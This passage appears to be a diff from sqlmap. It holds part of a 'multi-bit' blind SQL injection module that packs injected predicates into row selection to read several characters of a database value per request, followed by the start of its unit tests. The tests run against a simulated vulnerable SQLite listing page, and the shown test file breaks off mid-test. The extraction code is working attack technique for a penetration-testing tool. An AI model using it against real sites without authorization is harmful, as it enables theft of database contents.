expression = "%s AND %s(%s)" % (_bitcol(column, base, i), "NOT " if negate else "", _bitcol(column, base, j))
|
||||
expected = set(_ for _ in keys if ((_ - base) >> i) & 1 and (bool(((_ - base) >> j) & 1) != negate))
|
||||
rounds.append((expression, expected))
|
||||
|
||||
for expression, expected in rounds:
|
||||
observed = _selected(profile, expression)
|
||||
|
||||
if observed is None or observed != expected:
|
||||
_debug("superposition failed (%d rows expected, %s observed)" % (len(expected), "junk" if observed is None else len(observed)))
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def _read(profile, expression, position, count):
|
||||
"""
|
||||
One request -> `count` characters in widen mode; one character (in as many requests as the page
|
||||
has bit rows) in narrow mode. Returns a list of ordinals (0 marks end of value), or None when a
|
||||
response itself was junk (told apart by the canary row, selected regardless of the data).
|
||||
"""
|
||||
|
||||
if profile["mode"] == MULTIBIT_WIDEN:
|
||||
return _readWide(profile, expression, position, count)
|
||||
|
||||
column, keys = profile["column"], profile["keys"]
|
||||
bitchar = queries[Backend.getIdentifiedDbms()].bitchar.query
|
||||
|
||||
# the row identifiers need not be consecutive here, so a CASE maps each one to the bit it carries
|
||||
# - the value expression itself still appears exactly once
|
||||
choice = "CASE %s%s END" % (column, "".join(" WHEN %d THEN %d" % (_, index) for index, _ in enumerate(keys)))
|
||||
value = 0
|
||||
|
||||
for offset in range(0, MULTIBIT_BITS_PER_CHAR, len(keys)):
|
||||
observed = _selected(profile, bitchar % (expression, position, "%s+%d" % (choice, offset) if offset else choice))
|
||||
|
||||
if observed is None:
|
||||
return None
|
||||
|
||||
for index, key in enumerate(keys):
|
||||
if offset + index < MULTIBIT_BITS_PER_CHAR and key in observed:
|
||||
value |= 1 << (offset + index)
|
||||
|
||||
return [value]
|
||||
|
||||
def _readWide(profile, expression, position, count):
|
||||
column, base, keys = profile["column"], profile["base"], profile["keys"]
|
||||
bits = MULTIBIT_BITS_PER_CHAR
|
||||
top = base + count * bits - 1
|
||||
|
||||
# 1+FLOOR((id-shifted)/bits) == position+FLOOR((id-base)/bits); parenthesized because it goes
|
||||
# negative past the first window (and "id--40" would start a comment)
|
||||
shifted = "(%d)" % (base - bits * (position - 1))
|
||||
bitmap = queries[Backend.getIdentifiedDbms()].bitmap.query % (expression, column, shifted, bits, column, shifted, bits)
|
||||
observed = _selected(profile, _join(_window(column, base, top), bitmap))
|
||||
|
||||
if observed is None:
|
||||
return None
|
||||
|
||||
retVal = []
|
||||
|
||||
for c in range(count):
|
||||
value = 0
|
||||
|
||||
for b in range(bits):
|
||||
if keys[c * bits + b] in observed:
|
||||
value |= 1 << b
|
||||
|
||||
retVal.append(value)
|
||||
|
||||
return retVal
|
||||
|
||||
def _ask(profile, predicate):
|
||||
"""One request -> one bit, over the row channel (so it inherits the canary's junk detection)."""
|
||||
|
||||
marker = profile["keys"][0]
|
||||
observed = _selected(profile, "%s=%d AND (%s)" % (profile["column"], marker, predicate))
|
||||
|
||||
return None if observed is None else (marker in observed)
|
||||
|
||||
def _confirm(profile, expression, value, length):
|
||||
"""
|
||||
Proves the WHOLE extracted value back against the target: its length, then equality chunk by
|
||||
chunk. This is what makes the technique safe on hostile pages - a junk response, a dropped row or
|
||||
a character the 8-bit channel cannot carry all end up as a mismatch here, never as output.
|
||||
|
||||
True when proven, False when the channel is at fault, None when THIS value simply cannot be
|
||||
proven (nothing wrong with the channel, so it must not count against it).
|
||||
"""
|
||||
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
|
||||
# A channel that drops rows reads zero bits and stops early, so the LENGTH is what implicates it.
|
||||
# A character mismatch at the right length is about this value instead - 8 bits per character
|
||||
# cannot reproduce every ordinal a DBMS may return (a multi-byte code, a codepoint above 255
|
||||
# whose low byte still looks like ASCII), and that must not count against a working channel.
|
||||
if length is None:
|
||||
if _ask(profile, "%s=%d" % (queries[dbms].length.query % ("(%s)" % expression), len(value))) is not True:
|
||||
_debug("length of the extracted value did not confirm")
|
||||
return False
|
||||
elif length != len(value):
|
||||
_debug("extracted %d characters, expected %d" % (len(value), length))
|
||||
return False
|
||||
|
||||
for offset in range(0, len(value), MULTIBIT_CONFIRM_CHUNK):
|
||||
chunk = value[offset:offset + MULTIBIT_CONFIRM_CHUNK]
|
||||
escaped = unescaper.escape("'%s'" % chunk.replace("'", "''"))
|
||||
|
||||
if "'" in escaped and not conf.noEscape:
|
||||
# the DBMS-specific escaper stood down (e.g. EXCLUDE_UNESCAPE matched the data itself), so
|
||||
# the literal would enter the payload quoted and could break the boundary
|
||||
_debug("chunk at offset %d could not be escaped" % offset)
|
||||
return None
|
||||
|
||||
if _ask(profile, "(%s)=%s" % (queries[dbms].substring.query % ("(%s)" % expression, offset + 1, len(chunk)), escaped)) is not True:
|
||||
_debug("chunk at offset %d did not confirm" % offset)
|
||||
return None
|
||||
|
||||
return True
|
||||
|
||||
def _usable(charsetType, partial):
|
||||
"""The single-bit paths own everything multi-bit cannot reproduce exactly."""
|
||||
|
||||
if not conf.multiBit or partial:
|
||||
return False # opt-in only, and a resumed value starts mid-string
|
||||
|
||||
if getTechnique() != PAYLOAD.TECHNIQUE.BOOLEAN or kb.nullConnection:
|
||||
return False
|
||||
|
||||
if conf.firstChar or conf.lastChar or charsetType is not None or kb.data.get("processChar"):
|
||||
return False # range-limited / restricted-charset / post-processed output
|
||||
|
||||
if not kb.injection or not kb.injection.parameter:
|
||||
return False
|
||||
|
||||
return _atoms()
|
||||
|
||||
def _atoms():
|
||||
"""Whether the fingerprinted back-end has the bit arithmetic the channel is built from."""
|
||||
|
||||
try:
|
||||
return bool(queries[Backend.getIdentifiedDbms()].bitchar.query and queries[Backend.getIdentifiedDbms()].bitcol.query)
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def _verbose():
|
||||
"""Whether bisection is drawing the value on an open "retrieved: " line right now."""
|
||||
|
||||
return conf.verbose in (1, 2) and not any((conf.eta, conf.api, kb.bruteMode, kb.multiThreadMode))
|
||||
|
||||
def _finish(profile, key):
|
||||
"""Stores the discovered channel and reports what it measured."""
|
||||
|
||||
profile.update(key=key, verified=False, attempts=0, failures=0)
|
||||
kb.multibit[key] = profile
|
||||
|
||||
if profile["mode"] == MULTIBIT_WIDEN:
|
||||
width = "%d character%s" % (profile["perCall"], "s" if profile["perCall"] > 1 else "")
|
||||
else:
|
||||
width = "%d bits" % len(profile["keys"])
|
||||
|
||||
logger.info("parameter '%s' carries a multi-bit channel (%s, %d rows, %s per request)" % (kb.injection.parameter, profile["mode"], len(profile["rows"]), width))
|
||||
|
||||
return profile
|
||||
|
||||
def hint():
|
||||
"""
|
||||
Says the one thing worth saying about multi-bit on this target, at most once and NOT ONE REQUEST:
|
||||
the page sqlmap already kept from the stability check is the whole evidence. Without the switch
|
||||
that is a nudge towards it, with the switch it is the back-end that cannot carry it. Either way
|
||||
only when boolean-based blind is the channel the run would use anyway (an in-band one is faster
|
||||
than any row channel). Purely advisory, never raises.
|
||||
"""
|
||||
|
||||
try:
|
||||
if kb.multibitHinted:
|
||||
return
|
||||
|
||||
kb.multibitHinted = True
|
||||
|
||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.nullConnection:
|
||||
return
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
|
||||
return
|
||||
|
||||
if conf.multiBit:
|
||||
if not _atoms():
|
||||
singleTimeWarnMessage("switch '--multi-bit' is not supported for %s" % Backend.getIdentifiedDbms())
|
||||
|
||||
return
|
||||
|
||||
rows = max([len(_) for _ in _identifiers(kb.originalPage).values()] or [0])
|
||||
|
||||
if rows > MULTIBIT_MIN_BITS and _atoms():
|
||||
singleTimeLogMessage("target renders %d rows that a single response could carry data in. You can try switch "
|
||||
"'--multi-bit' to read several characters per request instead of one bit. Though "
|
||||
"it widens the result set with OR payloads, as '--risk=%d' does" % (rows, MULTIBIT_WIDEN_RISK), level=logging.INFO)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _verify(profile, expression, bisectChar):
|
||||
"""
|
||||
Cross-checks the channel against the trusted single-bit oracle, once per injection point.
|
||||
|
||||
Deliberately separate from discovery: the check reads the first character of whatever value
|
||||
happens to come first, and an empty or non-ASCII one settles nothing. Such a value defers the
|
||||
check to the next one instead of condemning a channel that calibrated cleanly.
|
||||
"""
|
||||
|
||||
profile["attempts"] += 1
|
||||
getCurrentThreadData().shared.value = "" # getChar() reads it, and bisection only seeds it further down
|
||||
reference = bisectChar(1)
|
||||
probe = _read(profile, expression, 1, 1)
|
||||
|
||||
if probe is None or not reference or ord(reference) > 127:
|
||||
_debug("first character of this value cannot settle the cross-check, deferring")
|
||||
elif decodeIntToUnicode(probe[0]) == reference:
|
||||
profile["verified"] = True
|
||||
return True
|
||||
else:
|
||||
_debug("first character disagreed with the boolean oracle (%r vs %r)" % (probe, reference))
|
||||
profile["attempts"] = MULTIBIT_MAX_FAILURES # a real disagreement, not an unlucky value
|
||||
|
||||
if profile["attempts"] >= MULTIBIT_MAX_FAILURES:
|
||||
_debug("channel abandoned, the boolean oracle never confirmed it")
|
||||
kb.multibit[profile["key"]] = False
|
||||
|
||||
return False
|
||||
|
||||
def _profile(expression, bisectChar):
|
||||
"""Discovers and calibrates the channel ONCE per injection point, then has it cross-checked."""
|
||||
|
||||
key = "%s|%s|%s|%s" % (conf.hostname or "", conf.path or "", kb.injection.place or "", kb.injection.parameter)
|
||||
profile = kb.multibit.get(key)
|
||||
|
||||
if profile is False:
|
||||
return None
|
||||
|
||||
if profile is None:
|
||||
kb.multibit[key] = False # pessimistic: any exit below leaves it latched off
|
||||
|
||||
# The switch is the permission, so the whole table is fair game: the wide channel reads several
|
||||
# characters per request, the page's own rows only as many bits as it renders.
|
||||
for mode in (MULTIBIT_WIDEN, MULTIBIT_NARROW):
|
||||
profile = _discover(mode)
|
||||
|
||||
if profile and _calibrate(profile):
|
||||
break
|
||||
|
||||
profile = None
|
||||
|
||||
if not profile:
|
||||
_debug("no usable row channel on this parameter") # quiet: bisection carries on below
|
||||
return None
|
||||
|
||||
if _verbose():
|
||||
dataToStdout("\n") # bisection has already printed "retrieved: "
|
||||
|
||||
profile = _finish(profile, key)
|
||||
|
||||
if _verbose():
|
||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||
|
||||
if not profile["verified"] and not _verify(profile, expression, bisectChar):
|
||||
return None
|
||||
|
||||
return profile
|
||||
|
||||
def _readChunk(profile, expression, position, count):
|
||||
"""
|
||||
One read of `count` characters, with a single retry - a transient junk response (a gateway error,
|
||||
an interstitial) must not cost the whole value.
|
||||
"""
|
||||
|
||||
try:
|
||||
retVal = _read(profile, expression, position, count)
|
||||
|
||||
return retVal if retVal is not None else _read(profile, expression, position, count)
|
||||
except Exception as ex:
|
||||
_debug("read at position %d failed (%s)" % (position, ex))
|
||||
|
||||
return None
|
||||
|
||||
def _chunks(length, perCall):
|
||||
"""(position, count) pairs covering the whole value, or None while its length is unknown."""
|
||||
|
||||
if not (isinstance(length, int) and length > 0):
|
||||
return None
|
||||
|
||||
return [(1 + _, min(perCall, length - _)) for _ in xrange(0, length, perCall)]
|
||||
|
||||
def _serial(profile, expression, chunks, perCall):
|
||||
"""
|
||||
Chunk after chunk. Without a known length this is the only way, since the value ends where the
|
||||
channel reads a zero ordinal.
|
||||
"""
|
||||
|
||||
retVal, done = u"", False
|
||||
|
||||
for position, count in chunks or ((_, perCall) for _ in xrange(1, MAX_MULTIBIT_LENGTH, perCall)):
|
||||
chunk = _readChunk(profile, expression, position, count)
|
||||
|
||||
if chunk is None:
|
||||
_debug("channel stopped answering at position %d" % position)
|
||||
return None
|
||||
|
||||
for value in chunk:
|
||||
if not value: # end of value (or a NUL, which classic cannot carry either)
|
||||
done = True
|
||||
break
|
||||
|
||||
retVal += decodeIntToUnicode(value)
|
||||
|
||||
if _verbose():
|
||||
dataToStdout(filterControlChars(retVal[position - 1:]))
|
||||
|
||||
if done:
|
||||
break
|
||||
|
||||
if not (done or chunks):
|
||||
_debug("value exceeded the %d character ceiling" % MAX_MULTIBIT_LENGTH)
|
||||
return None
|
||||
|
||||
return retVal
|
||||
|
||||
def _parallel(profile, expression, chunks, numThreads):
|
||||
"""
|
||||
The same reads spread over '--threads'. Every chunk sits at a known position, so they are as
|
||||
independent as the characters the single-bit path parallelises over. Multi-bit runs its OWN
|
||||
workers: bisection's read one character each, which would leave most of the channel idle.
|
||||
"""
|
||||
|
||||
pending, values = list(chunks), {}
|
||||
|
||||
def readThread():
|
||||
while kb.threadContinue:
|
||||
with kb.locks.multibit:
|
||||
if not pending:
|
||||
return
|
||||
|
||||
position, count = pending.pop(0)
|
||||
|
||||
chunk = _readChunk(profile, expression, position, count)
|
||||
|
||||
if chunk is None:
|
||||
_debug("channel stopped answering at position %d" % position)
|
||||
kb.threadContinue = False
|
||||
return
|
||||
|
||||
with kb.locks.value:
|
||||
values[position] = chunk
|
||||
|
||||
technique = getTechnique() # runThreads' cleanup clears it (and releases every lock)
|
||||
|
||||
try:
|
||||
runThreads(numThreads, readThread, startThreadMsg=False)
|
||||
finally:
|
||||
setTechnique(technique)
|
||||
|
||||
retVal, done = u"", False
|
||||
|
||||
for position, _ in chunks:
|
||||
if position not in values: # a chunk that never answered leaves a hole
|
||||
return None
|
||||
|
||||
for value in values[position]:
|
||||
if not value: # a value shorter than the length it announced
|
||||
done = True
|
||||
break
|
||||
|
||||
retVal += decodeIntToUnicode(value)
|
||||
|
||||
if done:
|
||||
break
|
||||
|
||||
if _verbose(): # the workers ran muted, so the value appears at once
|
||||
dataToStdout(filterControlChars(retVal))
|
||||
|
||||
return retVal
|
||||
|
||||
def attempt(expression, bisectChar, length=None, charsetType=None, partial=False):
|
||||
"""
|
||||
Returns the extracted value, or None if multi-bit is not usable here (caller falls back to
|
||||
classic bisection). `bisectChar(position)` is the trusted single-bit extractor.
|
||||
"""
|
||||
|
||||
if not _usable(charsetType, partial):
|
||||
return None
|
||||
|
||||
with kb.locks.multibit:
|
||||
try:
|
||||
profile = _profile(expression, bisectChar)
|
||||
except Exception as ex:
|
||||
_debug("profiling failed (%s)" % ex)
|
||||
return None
|
||||
|
||||
if not profile:
|
||||
return None
|
||||
|
||||
# Discovery is paid once per injection point, so even short values (table and column names) are
|
||||
# cheaper here afterwards - a single character is not, since confirming it costs as much as
|
||||
# bisecting it.
|
||||
if isinstance(length, int) and length < 2:
|
||||
return None
|
||||
|
||||
chunks = _chunks(length, profile["perCall"])
|
||||
|
||||
# a value-parallel enumeration worker is already one thread of several, so it reads on its own
|
||||
numThreads = 1 if kb.multiThreadMode else min(conf.threads or 1, len(chunks or ()))
|
||||
|
||||
if numThreads > 1:
|
||||
retVal = _parallel(profile, expression, chunks, numThreads)
|
||||
else:
|
||||
retVal = _serial(profile, expression, chunks, profile["perCall"])
|
||||
|
||||
if retVal is None:
|
||||
return None
|
||||
|
||||
try:
|
||||
confirmed = _confirm(profile, expression, retVal, length)
|
||||
except Exception as ex:
|
||||
_debug("confirmation failed (%s)" % ex)
|
||||
confirmed = False
|
||||
|
||||
if confirmed is not True:
|
||||
if _verbose():
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s\r[%s] [INFO] retrieved: " % (time.strftime("%X"), " " * len(retVal), time.strftime("%X")))
|
||||
|
||||
singleTimeWarnMessage("multi-bit inference could not confirm a value, falling back to single-bit")
|
||||
|
||||
# a value the channel cannot carry (non-ASCII, or data the unescaper stands down on) is
|
||||
# nobody's fault; a channel that keeps disagreeing costs a full read plus a confirmation on
|
||||
# every value, so only that counts towards giving up on it
|
||||
if confirmed is None:
|
||||
return None
|
||||
|
||||
profile["failures"] += 1
|
||||
|
||||
if profile["failures"] >= MULTIBIT_MAX_FAILURES:
|
||||
_debug("channel abandoned after %d unconfirmed values" % profile["failures"])
|
||||
kb.multibit[profile["key"]] = False
|
||||
|
||||
return None
|
||||
|
||||
profile["failures"] = 0
|
||||
|
||||
return retVal
|
||||
@@ -0,0 +1,418 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Multi-bit blind inference (lib/techniques/blind/multibit.py).
|
||||
|
||||
Row multiplexing turns "which rows came back" into a whole bit vector per response, so it is only
|
||||
safe as long as its gates hold: it runs on demand only ('--multi-bit'), it must decline on pages that
|
||||
cannot superpose (pagination), on rows that carry no unique marker, and on values the 8-bit channel
|
||||
cannot carry - and it must NEVER hand back a value it could not prove against the target.
|
||||
|
||||
Driven offline against a real SQLite engine: the module's own predicates (the <bitmap>/<bitcol> atoms
|
||||
from queries.xml) are evaluated by sqlite3 over a synthetic listing table and the result is rendered
|
||||
as a page, exactly the way a vulnerable listing endpoint would. Only multibit._page is mocked, so
|
||||
discovery, bit-plane mapping, calibration, reading and confirmation all run for real.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import MULTIBIT_NARROW
|
||||
from lib.core.settings import MULTIBIT_WIDEN
|
||||
from plugins.dbms.sqlite import SQLiteMap # registers the SQLite escaper used by the read-back
|
||||
import lib.techniques.blind.multibit as multibit
|
||||
|
||||
assert SQLiteMap
|
||||
|
||||
ROWS = 96
|
||||
SMALL = 15 # a real shop listing, far short of the 128 wide window
|
||||
_WARN = multibit.singleTimeWarnMessage # restored after the cases that capture the nudge
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms()
|
||||
|
||||
class _Target(object):
|
||||
"""A vulnerable listing endpoint: renders the rows its (injected) predicate selects."""
|
||||
|
||||
def __init__(self, secret, limit=None, unique=True, junkEvery=0, column="id", rows=ROWS, shown=None, widenable=True):
|
||||
self.db = sqlite3.connect(":memory:", check_same_thread=False) # '--threads' reads it from several
|
||||
self.lock = threading.Lock()
|
||||
self.db.execute("CREATE TABLE products (id INTEGER PRIMARY KEY, cat INTEGER, name TEXT)")
|
||||
for i in range(1, rows + 1):
|
||||
self.db.execute("INSERT INTO products VALUES (?,?,?)", (i, i, "Item-%03d" % i))
|
||||
self.db.execute("CREATE TABLE v (s TEXT)")
|
||||
self.db.execute("INSERT INTO v VALUES (?)", (secret,))
|
||||
self.column = column # name the per-row link uses for the identifier
|
||||
self.shown = shown # rows the page shows on its own (narrow mode's width)
|
||||
self.limit = limit # rows rendered per response (pagination)
|
||||
self.unique = unique # per-row markers, or identical rows
|
||||
self.junkEvery = junkEvery # every Nth response is a gateway error
|
||||
self.widenable = widenable # whether an OR payload can reach past the page's own rows
|
||||
self.requests = 0
|
||||
|
||||
def secret(self, value):
|
||||
"""Point the target at another value, keeping the row channel (and its profile) intact."""
|
||||
|
||||
self.db.execute("UPDATE v SET s=?", (value,))
|
||||
|
||||
return value
|
||||
|
||||
def page(self, expression, mode="widen"):
|
||||
with self.lock:
|
||||
self.requests += 1
|
||||
requests = self.requests
|
||||
|
||||
if self.junkEvery and requests % self.junkEvery == 0:
|
||||
return "<html><body><h1>502 Bad Gateway</h1></body></html>"
|
||||
|
||||
if mode != "widen": # AND-ed onto the live value: only the page's own rows
|
||||
expression = "%s<=%d AND (%s)" % (self.column, self.shown or ROWS, expression)
|
||||
elif not self.widenable: # a filter in a subquery the injected OR cannot escape
|
||||
return "<html><body>Database error</body></html>"
|
||||
|
||||
try:
|
||||
with self.lock:
|
||||
rows = self.db.execute("SELECT %s,name FROM products WHERE %s ORDER BY id" % (self.column, expression)).fetchall()
|
||||
except Exception:
|
||||
return "<html><body>Database error</body></html>"
|
||||
|
||||
if self.limit:
|
||||
rows = rows[:self.limit]
|
||||
|
||||
out = ["<html><body>"]
|
||||
|
||||
for rid, name in rows:
|
||||
if self.unique:
|
||||
out.append('<div class="item"><a href="/product.php?%s=%d">%s</a></div>' % (self.column, rid, name))
|
||||
else:
|
||||
out.append('<div class="item"><a href="/product.php">product</a></div>')
|
||||
|
||||
out.append("</body></html>")
|
||||
|
||||
return "\n".join(out)
|
||||
|
||||
class MultibitTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self._saved = dict((_, conf.get(_)) for _ in ("multiBit", "firstChar", "lastChar", "hostname", "path", "verbose", "eta", "api", "noEscape", "threads"))
|
||||
self._savedKb = dict((_, kb.get(_)) for _ in ("multibit", "multibitHinted", "nullConnection", "technique", "injection", "bruteMode", "multiThreadMode", "originalPage"))
|
||||
self._savedPage = multibit._page
|
||||
self._savedInjection = (kb.injection.place, kb.injection.parameter, kb.injection.data)
|
||||
|
||||
conf.multiBit = True # opt-in: nothing here runs without the switch
|
||||
conf.firstChar = conf.lastChar = None
|
||||
conf.hostname, conf.path, conf.verbose = "test", "/", 0
|
||||
conf.eta = conf.api = conf.noEscape = False
|
||||
conf.threads = 1
|
||||
|
||||
kb.multibit = {}
|
||||
kb.multibitHinted = False
|
||||
kb.nullConnection = None
|
||||
kb.originalPage = None # force discovery through the (mocked) request path
|
||||
kb.bruteMode = kb.multiThreadMode = False
|
||||
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
|
||||
kb.injection.place, kb.injection.parameter = "GET", "cat"
|
||||
kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {}}
|
||||
kb.data.processChar = None
|
||||
|
||||
set_dbms("SQLite")
|
||||
|
||||
def tearDown(self):
|
||||
for key, value in self._saved.items():
|
||||
conf[key] = value
|
||||
for key, value in self._savedKb.items():
|
||||
kb[key] = value
|
||||
# kb.injection is restored by identity above, so its members have to be put back one by one
|
||||
kb.injection.place, kb.injection.parameter, kb.injection.data = self._savedInjection
|
||||
multibit._page = self._savedPage
|
||||
|
||||
def _attempt(self, secret, length=None, **kwargs):
|
||||
target = _Target(secret, **kwargs)
|
||||
multibit._page = target.page
|
||||
|
||||
return self._read(target, secret, length), target
|
||||
|
||||
def _read(self, target, secret, length=None):
|
||||
"""Extracts the target's CURRENT value, so a case can chain several through one channel."""
|
||||
|
||||
multibit._page = target.page
|
||||
|
||||
return multibit.attempt("SELECT s FROM v", lambda idx: secret[idx - 1:idx], length)
|
||||
|
||||
def test_extracts_and_beats_single_bit(self):
|
||||
secret = "sqlmap-multi-bit-channel-1234567890-ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
value, target = self._attempt(secret, len(secret))
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
# single-bit would need 8 requests per character just to read it
|
||||
self.assertLess(target.requests, 8 * len(secret))
|
||||
|
||||
def test_extracts_without_known_length(self):
|
||||
secret = "no-length-known-here-but-still-exact"
|
||||
value, _ = self._attempt(secret)
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
|
||||
def test_declines_when_too_few_rows_are_rendered(self):
|
||||
# not even two bits plus a canary, so there is nothing to multiplex
|
||||
value, target = self._attempt("this must never come back", 25, limit=2)
|
||||
|
||||
self.assertIsNone(value)
|
||||
self.assertLess(target.requests, 40) # and it must find that out cheaply
|
||||
|
||||
def test_page_that_cannot_be_widened_falls_back_to_its_own_rows(self):
|
||||
# a fixed filter in a subquery the injected OR cannot escape: the whole-table channel does not
|
||||
# calibrate, and the five rows the page itself renders still carry four bits per request
|
||||
secret = "five rows still beat one bit"
|
||||
value, _ = self._attempt(secret, len(secret), limit=5, widenable=False)
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
self.assertEqual(list(kb.multibit.values())[0]["mode"], MULTIBIT_NARROW)
|
||||
|
||||
def test_small_table_is_usable(self):
|
||||
# a listing with far fewer rows than the 128 wide identifier window leaves the high bit planes
|
||||
# empty; the shared row markup must not then be placed at a row that does not exist (it would
|
||||
# become the canary, and "no rows selected" would be indistinguishable from a junk response)
|
||||
secret = "fifteen products are enough to carry this"
|
||||
value, _ = self._attempt(secret, len(secret), rows=SMALL)
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
|
||||
def test_pagination_wider_than_the_channel_is_still_usable(self):
|
||||
# a page that renders 10 rows can still carry a channel that only ever addresses 9 of them -
|
||||
# rejecting it would throw the technique away on most real listings
|
||||
secret = "ten rendered rows are enough"
|
||||
value, _ = self._attempt(secret, len(secret), limit=10)
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
|
||||
def test_declines_when_rows_carry_no_unique_marker(self):
|
||||
value, _ = self._attempt("indistinguishable rows", 22, unique=False)
|
||||
|
||||
self.assertIsNone(value)
|
||||
|
||||
def test_declines_on_non_ascii_value(self):
|
||||
# 8 bits cannot carry it, so the read-back must catch it rather than return mojibake
|
||||
value, _ = self._attempt(u"stra\u017enji dio", 12)
|
||||
|
||||
self.assertIsNone(value)
|
||||
|
||||
def test_junk_responses_never_produce_a_wrong_value(self):
|
||||
secret = "junk-tolerant-extraction-must-stay-exact"
|
||||
|
||||
for every in (3, 5, 7, 11):
|
||||
value, _ = self._attempt(secret, len(secret), junkEvery=every)
|
||||
self.assertIn(value, (secret, None), "junkEvery=%d produced %r" % (every, value))
|
||||
|
||||
def test_unprovable_value_does_not_condemn_the_channel(self):
|
||||
# the unescaper stands down on data matching EXCLUDE_UNESCAPE, so this value cannot be proven
|
||||
# back - but that is the value's problem, not the channel's, and must not latch it off
|
||||
value, _ = self._attempt("no way to escape CREATE TABLE x (a int)", 36)
|
||||
|
||||
self.assertIsNone(value)
|
||||
self.assertNotEqual(list(kb.multibit.values()), [False])
|
||||
|
||||
def test_first_value_that_cannot_settle_the_cross_check_keeps_the_channel(self):
|
||||
# the cross-check compares the FIRST character of whatever value comes first; an empty one, a
|
||||
# non-ASCII one, and one whose codepoint has an ASCII low byte (U+0141 -> 0x41 'A') all settle
|
||||
# nothing, and none of them may condemn a channel that calibrated cleanly
|
||||
for first in ("", u"\u017eaba pod vodom", u"\u0141ukasz Nowak here"):
|
||||
target = _Target(first)
|
||||
self.assertIsNone(self._read(target, first, len(first) or None))
|
||||
|
||||
good = target.secret("plain ascii value that must still come back")
|
||||
self.assertEqual(self._read(target, good, len(good)), good, "condemned after %r" % first)
|
||||
|
||||
def test_unreadable_value_mid_run_keeps_the_channel(self):
|
||||
target = _Target("first value is perfectly readable ascii")
|
||||
self.assertEqual(self._read(target, "first value is perfectly readable ascii", 39), "first value is perfectly readable ascii")
|
||||
|
||||
bad = target.secret(u"\u0141ukasz") # reads back as "Aukasz" - right length, wrong char
|
||||
self.assertIsNone(self._read(target, bad, len(bad)))
|
||||
|
||||
good = target.secret("and the channel is still fine afterwards")
|
||||
self.assertEqual(self._read(target, good, len(good)), good)
|
||||
|
||||
def test_row_identifier_may_share_the_injected_parameter_name(self):
|
||||
# a shop injectable through ?cat= can perfectly well render per-row ?cat= links; the candidate
|
||||
# is picked because its values VARY, not because of what it is called
|
||||
secret = "same name as the injection point is fine"
|
||||
value, _ = self._attempt(secret, len(secret), column="cat")
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
|
||||
def test_atoms_are_wellformed_for_every_supported_dbms(self):
|
||||
# only the SQLite path is executed above; the others must at least produce balanced, fully
|
||||
# substituted SQL - including the negative shift a later window produces ("id--67" would be a
|
||||
# comment, so it has to come out parenthesized)
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
set_dbms(dbms)
|
||||
expressions = (multibit._bitcol("id", 5, 3),
|
||||
queries[dbms].bitmap.query % ("SELECT s FROM v", "id", "(-67)", 8, "id", "(-67)", 8))
|
||||
|
||||
for expression in expressions:
|
||||
self.assertNotIn("--", expression, dbms)
|
||||
self.assertNotIn("%s", expression, dbms)
|
||||
self.assertNotIn("%d", expression, dbms)
|
||||
self.assertEqual(expression.count("("), expression.count(")"), dbms)
|
||||
|
||||
def test_nothing_runs_without_the_switch(self):
|
||||
conf.multiBit = False
|
||||
value, target = self._attempt("not to be read", 14)
|
||||
|
||||
self.assertIsNone(value)
|
||||
self.assertEqual(target.requests, 0)
|
||||
|
||||
def test_resumed_partial_value_is_left_to_bisection(self):
|
||||
# a resumed value starts mid-string, and multi-bit reads from the first character: it would
|
||||
# re-read what is already cached and then fail its own length read-back
|
||||
target = _Target("resuming this one is bisection's job")
|
||||
multibit._page = target.page
|
||||
|
||||
self.assertIsNone(multibit.attempt("SELECT s FROM v", lambda idx: 'x', 35, None, True))
|
||||
self.assertEqual(target.requests, 0)
|
||||
|
||||
def test_threaded_read_matches_the_serial_one(self):
|
||||
# the chunks sit at known positions, so they are independent; the value must come out identical
|
||||
secret = "threaded reads must assemble in position order, not in completion order"
|
||||
|
||||
conf.threads = 4
|
||||
value, _ = self._attempt(secret, len(secret))
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
|
||||
def test_profile_is_per_injection_point(self):
|
||||
secret = "first parameter value here padded out"
|
||||
value, _ = self._attempt(secret, len(secret))
|
||||
self.assertEqual(value, secret)
|
||||
self.assertEqual(len(kb.multibit), 1)
|
||||
|
||||
kb.injection.parameter = "other"
|
||||
value, _ = self._attempt(secret, len(secret))
|
||||
self.assertEqual(value, secret)
|
||||
self.assertEqual(len(kb.multibit), 2)
|
||||
|
||||
def test_identifiers_ignore_site_chrome(self):
|
||||
# a single-product DETAIL page: one real row (a hidden form field), but the only REPEATED
|
||||
# markup is the nav menu, the currency switcher and the security-level links - all site
|
||||
# chrome. That must yield NO candidates, so the page is ruled out for free and the risk-3
|
||||
# question can never fire on it (the exact failure this trigger replaces)
|
||||
page = """
|
||||
